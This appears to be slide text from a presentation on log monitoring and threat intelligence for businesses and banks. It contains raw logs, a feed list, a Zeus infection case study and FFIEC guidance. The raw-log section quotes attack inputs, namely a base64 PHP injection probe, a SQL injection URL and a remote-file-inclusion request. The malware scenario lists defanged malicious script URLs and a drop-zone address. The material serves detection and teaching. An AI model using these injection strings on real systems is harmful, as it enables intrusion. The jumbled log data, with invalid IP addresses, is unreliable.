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THIS IS NOT SCIENCE FICTION 

• Would you know if your devices were connecting to 
criminal Command and Control servers?  

• Would you know if you had a dark side Network 
Administrator?  

• Would you know if your data was being sent to the 
cloud?  

• Would you know if every keystroke you typed was being 
recorded? 

• Would you know if your workstations were being used to 
launch cyber-attacks?   
 



ADVERSARIES 

Bad things do happen, perhaps are happening, on your network.   
Some are malicious, some inadvertent, some totally accidental.  



RAW LOG FILES 
Accessed URL 141.136.16.63 :hxxp://psardcreator.com/support/sApr 17 2014 12:17:38: %ASA-4-106023: Deny tcp src inside:10.1.1.303 (workstation) /1306 dst outside:24.303.38.14 
/34354 by access-group "inside_access_out" [0x0, 0x0]Apr 17 2014 12:17:39: %ASA-4-106023: Deny tcp src inside:10.1.1.303 (workstation) /1308 dst outside:211.303.105.235 /34354 
by access-group "inside_access_out" [0x0, 0x0]Apr 17 2014 12:17:39: %ASA-4-106023: Deny tcp src inside:10.1.1.303 (workstation) /1310 dst outside:119.26.67.63 /34354 by access-
group "inside_access_out" [0x0, 0x0]Apr 15 2014 10:00:19: %ASA-5-304001: workstation Accessed URL 69.4.231.52 :hxxp://wiresharkdownloads.riverbed.com/wireshark/win64/all-
versions/wireshark-win64-1.6.6.exe012-04-09, 2014-04-09 12:57:58,SERVER,1022,MsiInstaller,NT AUTHORITY\SYSTEM,Microsoft.NET Framework 2.0 Service Pack 
2|KB2633880|(NULL)|(NULL),Product: Microsoft .NET Framework 2.0 Service Pack 2 - Update 'KB2633880' installed successfully. ,Information event,None2014-04-09,2014-04-09 
12:57:58,SERVER,11728,MsiInstaller,NT AUTHORITY\SYSTEM,Product: Microsoft .NET Framework 2.0 Service Pack 2 -- Configuration completed 
successfully.|(NULL)|(NULL)|(NULL),Product: Microsoft .NET Framework 2.0 Service Pack 2 -- Configuration completed successfully. ,Information event,NoneSERVER,Security,2014-
04-13 14:03:04,632,Success Audit event,Account Management, "Security Enabled Global Group Member Added: Member Name: 
CN=AUser,OU=Users,OU=DOMAIN,DC=domain,DC=local Member ID: %{S-1-5-21-1946980437-874778699-3882309851-1337} Target Account Name: Domain Admins Target Domain: 
DOMAIN Target Account ID: %{S-1-5-21-1946980437-874778699-3882309851-512} Caller User Name: aadmin Caller Domain: DOMAIN Caller Logon ID: (0x0,0xBF4E983) Privileges: - 
"SERVER,Security,2014-04-13 14:03:04,632,Success Audit event,Account Management,"Security Enabled Global Group Member Added: Member Name: 
CN=BUser,OU=Users,OU=DOMAIN,DC=DOMAIN,DC=com Member ID: %{S-1-5-21-1946980437-874778699-3882309851-2744} Target Account Name: Domain Admins Target Domain: 
DOMAIN Target Account ID: %{S-1-5-21-1946980437-874778699-3882309851-512} Caller User Name: aadmin Caller Domain: DOMAIN Caller Logon ID: (0x0,0xBF4E983) Privileges: -
date=2014-04-18 time=08:10:49 devname=Firewall device_id=FGTxxxxxxxxxxxxx log_id=0000000000 type=event subtype=admin pri=notice vd=root user="aadmin" 
ui=GUI(10.1.1.303 (workstation) ) seq=7 sintf="internal" dintf="wan1" saddr="all" daddr="all" act=accept nat=no iptype=ipv4 " log=no idbased=no msg="User aadmin changed IPv4 
firewall policy 7 from GUI(10.1.1.303) (workstation) )"date=2014-04-18 time=08:11:00 devname=Firewall device_id=FGTxxxxxxxxxxxxx log_id=0000000000 type=event 
subtype=admin pri=notice vd=root user="aadmin" ui=GUI(10.1.1.303 (workstation) ) seq=1 sintf="internal" dintf="wan1" saddr="all" daddr="all" act=accept nat=no iptype=ipv4 
schd="always" svr="ANY" msg="User aadmin changed IPv4 firewall policy 1 from GUI(10.1.1.303) (workstation) )"date=2014-04-18 time=09:11:01 devname=Firewall 
device_id=FGTxxxxxxxxxxxxx log_id=0104032142 type=event subtype=admin pri=notice vd=root action=delete status=success msg="config:11 has been deleted from revision data 
base"2014-04-19 10:58:08 %ASA-5-111008: User 'enable_15' executed the 'configure terminal' command.2014-04-19 10:58:28 %ASA-5-111008: User 'enable_15' executed the 'route 
inside 10.2.300.0 10.1.2.300' command 2014-04-19 10:58:40 %ASA-5-111008: User 'enable_15' executed the 'write memory' command.2014-04-19 11:00:58 %ASA-5-111008: User 
'enable_15' executed the 'configure terminal' command.2014-04-19 11:01:25 %ASA-5-111008: User 'enable_15' executed the 'access-list acl_insd line 381 permit ip host 10.1.1.303 
any' command.2014-04-19 11:02:52 %ASA-5-111008: User 'enable_15' executed the 'write memory' command.2014-04-19 16:51:23 %ASA-5-111008: User 'enable_15' executed the 
'configure terminal' command.2014-04-19 16:51:42 %ASA-5-111008: User 'enable_15' executed the 'object-group network Vendor_Support' command.2014-04-19 16:51:52 %ASA-5-
111008: User 'enable_15' executed the 'network-object host 10.1.1.303' command.2014-04-19 16:52:32 %ASA-5-111008: User 'enable_15' executed the 'write terminal' command. 
2014-04-19 16:55:21 %ASA-5-111008: User 'enable_15' executed the 'write memory' command.Apr 05 2014 08:37:15: %ASA-6-302013: Built outbound TCP connection 68392922 for 
outside:72.21.211.167 /443 (72.21.211.167 /443) to inside:10.1.1.303 (workstation) /1123 (10.1.1.301 /62315)Apr 05 2014 08:38:45: %ASA-6-302014: Teardown TCP connection 
68392922 for outside:72.21.211.167 /443 to inside:10.1.1.303 (workstation) /1123 duration 0:01:29 bytes 27408470 TCP FINs2014-04-17 06:05:24 W3SVC2 WEBSERVER 10.1.2.301 
GETindex.phplass2_all_1[0]=cHJpbnQoJ1F1YWx5c18nLidDb2RlX0luamVjdGlvbl8nLidBc3Nlc3NtZW50Jyk7cmVxdWlyZSgnY29uZmlnL3N0ci5pbmMucGhwJyk7cHJpbnQoJHN0clswXVsxX
Sk7 80 - 64.39.111.79 HTTP/1.1 - - - 209.222.215.66 404 0 2 1405 218 93 2009-05-26 09:20:30 WEBSERVER 80 GET 200 - /register/all/all/somepage.aspx 
email=&promo=ojwkj06g&cpc=regjw706ppc&username=2'%20And%20char(124)%2b(Select%20Cast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20[sysobjects]%20W
here%201=1)>0%20and%20''=' - - NV32ts webserver.domain.com 247content/uploads/PDF/wp-content/uploads/timThumb/timthumb.php 
src=hxxp://picasa.com.moveissantafe.com/yahoo.php - - Mozilla/5.0+(compatible;+Konqueror/3.1;+Linux+2.4.22- 2014-04-19 10:58:08 %ASA-5-111008: User 'enable_15' executed 
the 'configure terminal' command. 2014-04-19 10:58:28 %ASA-5-111008: User 'enable_15' executed the 'route inside 10.2.300.0 10.1.2.300' command 2014-04-19 10:58:40 %ASA-5-
111008: User 'enable_15' executed the 'write memory' command.2014-04-19 11:00:58 %ASA-5-111008: User 'enable_15' executed the 'configure terminal' command.2014-04-19 
11:01:25 %ASA-5-111008: User 'enable_15' executed the 'access-list acl_insd line 381 permit ip host 10.1.1.303 any' command.2014-04-19 11:02:52 %ASA-5-111008: User 
'enable_15' executed the 'write memory' command.2014-04-19 16:51:23 %ASA-5-111008: User 'enable_15' executed the 'configure terminal' command.2014-04-19 16:51:42 %ASA-
5-111008: User 'enable_15' executed the 'object-group network Vendor_Support' command.2014-04-19 16:51:52 %ASA-5-111008: User 'enable_15' executed the 'network-object 
host 10.1.1.303' command 10mdk;+X11;+i686;+fr,+fr_FR) W3SVC3 - - - 0 3  

 



ACTIONABLE INFORMATION 

Log Files + Threat Intelligence + Institutional Knowledge + 
Tools & Trained Personnel + Consistent Allocation of 
Resources = Actionable Information including Precursors and 
Indicators of Compromse 



THREAT INTELLIGENCE 

Arbor Networks   arbornetworks.com 

AutoShun   autoshun.org 

BrightCloud   brightcloud.com 

BruteForceBlocker   danger.rulez.sk 

CIArmy   cinsscore.com 

Clean MX   support.clean 

Crowd Strike   crowdstrike.com 

Cyveillance   cyveillance.com 

Dragon Research   dragonresearchgroup.org 

DShield   dshield.org 

Emerging Threats   emergingthreats.net 

Google Safe Browsing   google.com/transparencyreport/safebrowsing/ 

IBM   ibm.com 

IP Void   ipvoid.com 

Lancope   lancope.com 

Malware Domain List   malwaredomainlist.com 

Malware Domains   malwaredomains.com 

Malware Group   malwaregroup.com 

MalwareSigs   malwaresigs.com 

McAfee Site Advisor   siteadvisor.com 

McAfee Threat Center   mcafee.com/us/threat 

McAfee Trusted Source   trustedsource.org 

Norton SafeWeb   safeweb.norton.com 

NoThink!   nothink.org 

OpenBL   openbl.org 
OpenPhish  Openphish.org 

Palevo Tracker   palevotracker.abuse.ch 

Project Honeypot   projecthoneypot.org 

Site Dossier   sitedossier.com 

SpyEye Tracker   spyeyetracker.abuse.ch 

Team Cymru   team.cymru.com 

Threat Track   threattracksecurity.com 

ThreatExpert   threatexpert.com 

URL Query   urlquery.net 

URL Void   urlvoid.com 

Verisign   verisigninc.com 

Virbl   mxtoolbox.com 

Virus Share   virusshare.com 

Virus Total   virustotal.com 

Zeus Tracker   zeustracker.abuse.ch 



THREAT INTELLIGENCE EXAMPLES 

Arbor Networks   arbornetworks.com 

AutoShun   autoshun.org 

BrightCloud   brightcloud.com 

BruteForceBlocker   danger.rulez.sk 

CIArmy   cinsscore.com 

Clean MX   support.clean 

Crowd Strike   crowdstrike.com 

Cyveillance   cyveillance.com 

Dragon Research   dragonresearchgroup.org 

DShield   dshield.org 

Emerging Threats   emergingthreats.net 
Google Safe Browsing   google.com/transparencyreport/safebrowsing/ 

IBM   ibm.com 

IP Void   ipvoid.com 

Lancope   lancope.com 

Malware Domain List   malwaredomainlist.com 

Malware Domains   malwaredomains.com 

Malware Group   malwaregroup.com 

MalwareSigs   malwaresigs.com 

McAfee Site Advisor   siteadvisor.com 

McAfee Threat Center   mcafee.com/us/threat 

McAfee Trusted Source   trustedsource.org 

Norton SafeWeb   safeweb.norton.com 

NoThink!   nothink.org 

OpenBL   openbl.org 

OpenPhish  Openphish.org 
Palevo Tracker   palevotracker.abuse.ch 

Project Honeypot   projecthoneypot.org 

Site Dossier   sitedossier.com 

SpyEye Tracker   spyeyetracker.abuse.ch 

Team Cymru   team.cymru.com 

Threat Track   threattracksecurity.com 

ThreatExpert   threatexpert.com 

Tor List dan.me.uk/tornodes 
URL Query   urlquery.net 
URL Void   urlvoid.com 

Verisign   verisigninc.com 

Virbl   mxtoolbox.com 

Virus Share   virusshare.com 
Virus Total   virustotal.com 
Zeus Tracker   zeustracker.abuse.ch 



EMERGING THREATS  [EMERGINGHTREATS.NET] 



OPEN PHISH [OPENPHISH.ORG] 



TOR NODE [DAN.ME.UK/TORNODES]   



URL QUERY [URLQUERY.NET] 



VIRUS SHARE [VIRUSSHARE.COM] 



EXAMPLES OF DETECTION & IDENTIFICATION 

• Scenario 1 

Persistent malware infection 

• Scenario 2 
VPN access  

User Authentication 

 

Log Files + Threat Intelligence + Institutional Knowledge + 
Tools & Trained Personnel + Consistent Allocation of 
Resources = Actionable Information including Precursors and 
Indicators of Compromse 



SCENARIO 1 

MALWARE INFECTION [1 OF 4] 

A Fake Verizon Bill that infects users with Zeus.   
Connections to 93.177.168.141 over port TCP/16115 
which is potentially stolen data being sent to drop zones. 
These malicious links contained the following html code: 
<< script type=”text/javascript” 
src=”hxxp://colecoesearte.com.br/Kypp5Enk/js.js”></scrip
t> 
< script type=”text/javascript” 
src=”hxxp://rafaeltezelli.com.br/G1GCPjut/js.js”></script> 
• These javascript redirectors in turn bounced victims to 

a Blackhole Exploit kit at:  
Wildestant-dot-
com/showthread.php?t=d7ad916d1c0396ff. 

• Vulnerable victims directed to the above URL at 
wildestant-dot-com then downloaded a Pony 
downloader. 

• The Pony downloader was also configured to 
download a Gameover Zeus variant. 

 



Blackhole Exploit Kit Infection. Blackhole often downloads Zeus or SpyEye 

MALWARE INFECTION [2 OF 4] 



The Gameover variant sent stolen data to drops zones at: 93.177.168.141:16115 

MALWARE INFECTION  [3 OF 4] 



Fake Anti-Virus infection on the same machine 

MALWARE INFECTION [4 OF 4] 



SCENARIO 2 

KNOW YOUR ENVIRONMENT  [DOMAIN AUTHENTICATION] 

2014-09-01: Logon by ‘adminuser’ between 12:15 and 14:23 (30 entries) 

2014-09-02: Logon by ‘adminuser’ between 08:13 and 17:43 (130 entries) 

2014-09-03: Logon by ‘adminuser’ between 06:37 and 22:19 (167 entries) 

2014-09-04: Logon by ‘adminuser’ between 09:17 and 16:25 (89 entries) 

2014-09-05: Logon by ‘adminuser’ at 13:00 (1 entry) 
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KNOW YOUR ENVIRONMENT  [REMOTE ACCESS] 

User 'auser' (2 entries) VPN authentication from 173.48.139.219 (Verizon - 
Massachusetts) between 09:32 and 10:24 on 172.16.81.17 noted. 
User 'huser' (2 entries) VPN authentication from 68.116.174.243 (Charter 
Communications - Massachusetts) between 07:24 and 18:31 on 172.16.81.17 noted. 
User 'iuser' (2 entries) VPN authentication from 208.34.58.202 (Sprint - Connecticut) 
between 11:50 and 12:57 on 172.16.81.17 noted. 
User 'juser' (2 entries) VPN authentication from 98.216.209.108 (Comcast - 
Massachusetts) between 08:48 and 13:37 on 172.16.81.17 noted. 
User 'kuser' (2 entries) VPN authentication from 173.13.115.57 (exch1.taskforcepro.com) 
between 13:01 and 15:01 on 172.16.81.17 noted. 
User 'luser' (2 entries) VPN authentication from 50.177.91.151 (Comcast - 
Massachusetts) between 09:51 and 21:32 on 172.16.81.17 noted. 
User 'muser' (2 entries) VPN authentication from 24.60.5.10 (Comcast - Massachusetts) 
between 08:44 and 19:09 on 172.16.81.17 noted. 
User 'nuser' (2 entries) VPN authentication from 24.147.250.182 (Comcast - 
Massachusetts) between 20:56 and 21:00 on 172.16.81.17 noted. 
User 'ouser' (1 entry) VPN authentication from 182.64.229.137 (abts-north-dynamic-
137.229.64.182.airtelbroadband.in) at 00:12 on 172.20.0.1 noted. 
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ACTIONABLE INFORMATION 

Log Files + Threat Intelligence + Institutional Knowledge + 
Tools & Trained Personnel + Consistent Allocation of 
Resources = Actionable Information including Precursors and 
Indicators of Compromse 



REGULATORY COMPLIANCE 

Every information security regulation requires companies to monitor for 
cyber threats and malicious at-risk activity.  



CYBERSECURITY & FFIEC GUIDENCE 

The FFIEC and its member agencies are treating cybersecurity and the management of cybersecurity risks as a 
critical priority. Recently published guidelines cover the four key areas the FFIEC believes are most important: 
 
Governance. What are the bank’s policies and procedures? How does the bank establish and communicate 
expectations and conduct training? Is the entire organization, not just the IT department, involved in addressing 
cybersecurity risk? How would the institution react if something goes wrong? 
 
Threat intelligence. How does the institution monitor and remain aware of potential threats? What internal and 
external resources does the bank utilize to keep up to date on potential risks? What threat detection tools does 
the institution use? Does the bank participate in the FBI’s InfraGard and other intelligence sharing programs? 
How does the bank monitor and guard against unforeseen threats? 
 
Third-party relationships. As banks continue to outsource more non-core activities, the responsibility to manage 
cybersecurity with third party vendors is also increasing. Does the bank follow the OCC guidelines? Can the 
bank’s third parties pass the scrutiny of independent reviews (e.g. Service Organization Control (SOC 1, 2, 3) 
examinations)? It should be noted that the data breach at Target occurred, at least in part, because of the 
activities of a third party vendor, and the FFIEC is focused on preventing that type of vulnerability within the 
banking system. 
 
Incident response. At last count, there were forty-six state laws and innumerable federal laws and regulations 
that address the reporting of data breaches of different types. Many of these laws and regulations differ in terms 
of when breaches must be reported and to whom. Determining if a breach actually occurred and how it occurred 
may add both time and complexity to the incident reporting process. A strong and effective incident response 
plan may help banks cut the time needed to manage and report the incident. It is critical that institutions have an 
incident response plan that can be successfully executed. 
 
http://www.bakertilly.com/insights/cybersecurity-steps-to-take-now/ 



“The difference between cybercrime, cyber-
espionage, and cyberwar is a couple of keystrokes. 
The same technique that gets you in to steal money, 
patented blueprint information or chemical 
formulas is the same technique that a nation-state 
would use to get in and destroy things.”  

Richard Clarke April 6, 2010 
National Security Advisor 




